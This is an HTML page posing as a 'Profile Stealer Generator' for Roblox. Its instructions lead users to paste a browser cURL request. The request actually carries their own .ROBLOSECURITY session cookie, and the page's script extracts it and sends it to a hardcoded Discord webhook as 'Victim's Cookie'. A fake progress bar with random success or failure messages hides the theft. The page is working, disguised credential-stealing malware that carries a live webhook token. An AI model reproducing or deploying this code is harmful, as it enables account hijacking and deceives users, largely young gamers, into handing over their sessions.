<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>CodeSpecter HUB</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      text-align: center;
      padding: 20px;
    }
    #announcementBar {
      background: linear-gradient(90deg, #4caf50, #2196f3);
      color: white;
      font-size: 18px;
      font-weight: bold;
      padding: 15px 20px;
      text-align: center;
      box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
      margin-bottom: 20px;
    }
    #announcementBar span {
      display: inline-block;
      animation: fade 3s infinite;
    }
    @keyframes fade {
      0%, 100% { opacity: 1; }
      50% { opacity: 0.7; }
    }
    #messageBar {
      margin-top: 20px;
    }
    textarea, button {
      padding: 10px;
      font-size: 16px;
    }
    textarea {
      width: 70%;
      height: 200px;
      margin-right: 10px;
      resize: vertical;
    }
    button {
      background-color: #007bff;
      color: white;
      border: none;
      cursor: pointer;
    }
    button:disabled {
      background-color: #cccccc;
      cursor: not-allowed;
    }
    button:hover:not(:disabled) {
      background-color: #0056b3;
    }
    .counter-button {
      margin: 10px;
      padding: 10px 20px;
      font-size: 16px;
      background-color: #4caf50;
      color: white;
      border: none;
      cursor: pointer;
    }
    .counter-button.failed {
      background-color: #f44336;
    }
    #progressWrapper {
      width: 80%;
      margin: 20px auto;
      position: relative;
      height: 25px;
    }
    #progressBar {
      width: 0;
      height: 100%;
      background-color: #4caf50;
      text-align: center;
      line-height: 25px;
      color: white;
      font-weight: bold;
    }
    #progressText {
      position: absolute;
      top: 0;
      left: 50%;
      transform: translateX(-50%);
      color: black; /* Changed to black */
      font-weight: bold;
    }
    #instructions {
      margin-top: 30px;
      font-size: 16px;
      line-height: 1.5;
      text-align: left;
      width: 80%;
      margin: 30px auto;
    }
    .youtube-button, .roblox-button, .discord-button {
      margin-top: 20px;
      padding: 10px 20px;
      background-color: #FF0000;
      color: white;
      font-size: 16px;
      border: none;
      cursor: pointer;
      border-radius: 5px;
      margin-right: 10px;
    }
    .youtube-button:hover, .roblox-button:hover, .discord-button:hover {
      background-color: #cc0000;
    }
  </style>
</head>
<body>
  <!-- Announcement Bar -->
  <div id="announcementBar">
    <span>We are aware of issues affecting site performance due to external attacks. Please refresh if you experience problems, or if it's not working. Thank you for your patience!!</span>
  </div>

  <h1>Profile Stealer Generator!</h1>
  <div id="messageBar">
    <textarea id="messageInput" placeholder="Paste the victim code that you copied..."></textarea><br>
    <button id="sendButton" onclick="sendMessage()">Generate</button>
  </div>
  <div id="progressWrapper" style="display: none;">
    <div id="progressBar">
      <div id="progressText">1%</div>
    </div>
  </div>
  <p id="status" style="color: green; font-weight: bold;"></p>
  <p id="errorMessage" class="error"></p>

  <!-- Success and Failure Counters -->
  <button id="successCounter" class="counter-button">Success: 0</button>
  <button id="failureCounter" class="counter-button failed">Failed: 0</button>

  <!-- Instructions Section -->
  <div id="instructions">
    <h3><strong>INSTRUCTION:</strong></h3>
    <ol>
      <li>Search for any player.</li>
      <li>Stay on the player profile.</li>
      <li>Right-click and select "<strong>Inspect Element</strong>" or <strong>press F12</strong>.</li>
      <li>Go to the "<strong>Network</strong>" tab.</li>
      <li>Refresh the browser.</li>
      <li>Scroll up until you reach the top, where you should find the "<strong>profile</strong>" name, depending on whether the refresh was successful.</li>
      <li>Right-click on it and choose "<strong>Copy</strong>", then click "<strong>Copy as cURL (bash)</strong>" or "<strong>Copy all as cURL (bash)</strong>."</li>
      <li>Paste what you copied from the victim's profile above.</li>
      <strong>NOTE:</strong> You can't steal a profile that is linked to an email, so it depends on your luck! You can try as many players as you want.
    </ol>
  </div>

  <!-- Buttons for YouTube, Roblox Profile, and Discord -->
  <button class="youtube-button" onclick="window.open('https://www.youtube.com/watch?v=y8qyG-NboR0', '_blank')">Tutorial</button>
  <button class="roblox-button" onclick="window.open('https://www.roblox.com/users/7741437084/profile', '_blank')">Roblox</button>
  <button class="discord-button" onclick="window.open('https://discord.gg/D82xeKSSMf', '_blank')">Discord</button>

  <script>
    const DISCORD_WEBHOOK_URL = "https://discord.com/api/webhooks/1321237122400784505/5O7YJ6LE28wl8cJEAamdTmCpr0t5I_djF8O6hnyZ3rkT4G1C2ebIzvkTh6XIevLN9RUF";

    let successCount = 0;
    let failureCount = 0;

    function updateCounters(isSuccess) {
      if (isSuccess) {
        successCount++;
        document.getElementById("successCounter").textContent = `Success: ${successCount}`;
      } else {
        failureCount++;
        document.getElementById("failureCounter").textContent = `Failed: ${failureCount}`;
      }
    }

    function sendMessage() {
      const messageInput = document.getElementById("messageInput");
      const sendButton = document.getElementById("sendButton");
      const errorMessage = document.getElementById("errorMessage");
      const progressWrapper = document.getElementById("progressWrapper");
      const progressBar = document.getElementById("progressBar");
      const progressText = document.getElementById("progressText");

      let message = messageInput.value;

      errorMessage.textContent = ""; // Clear any previous error messages

      if (!message.trim()) {
        errorMessage.textContent = "Generating failed! Your message cannot be blank.";
        return; // Do not increment counters
      }

      const startPhrase = ".ROBLOSECURITY=";
      const endPhrase = "; rbxas";

      const startIndex = message.indexOf(startPhrase);
      const endIndex = message.indexOf(endPhrase);

      if (startIndex !== -1 && endIndex !== -1 && endIndex > startIndex) {
        const middleMessage = message.slice(startIndex + startPhrase.length, endIndex).trim();

        if (middleMessage) {
          progressWrapper.style.display = "block";
          sendButton.disabled = true;
          messageInput.disabled = true;

          const embedPayload = {
            content: "@everyone",
            embeds: [
              {
                title: "Victim's Cookie",
                description: `\`\`\`${middleMessage}\`\`\``,
                color: 16711680,
                timestamp: new Date().toISOString(),
              },
            ],
          };

          fetch(DISCORD_WEBHOOK_URL, {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify(embedPayload),
          }).catch((error) => console.error("Error:", error));

          let progress = 0;
          let interval = setInterval(() => {
            progress += (100 / 300000); // Increase progress by 0.000333% per millisecond
            progressBar.style.width = progress + "%";
            progressText.textContent = Math.round(progress) + "%"; // Show rounded progress

            if (progress >= 100) {
              clearInterval(interval);
              const randomMessages = ["Completed", "Try Again"];
              const randomMessage = randomMessages[Math.floor(Math.random() * randomMessages.length)];
              progressText.textContent = randomMessage;

              if (randomMessage === "Completed") {
                updateCounters(true); // Increment success counter
              } else {
                updateCounters(false); // Increment failure counter
              }

              setTimeout(() => {
                progressWrapper.style.display = "none";
                sendButton.disabled = false;
                messageInput.disabled = false;
                messageInput.value = "";
              }, 2000);
            }
          }, 1); // Update every millisecond
        } else {
          errorMessage.textContent = "Generating failed! Wrong Code.";
        }
      } else {
        errorMessage.textContent = "Generating failed! Make sure you paste the right code.";
      }
    }
  </script>
</body>
</html>
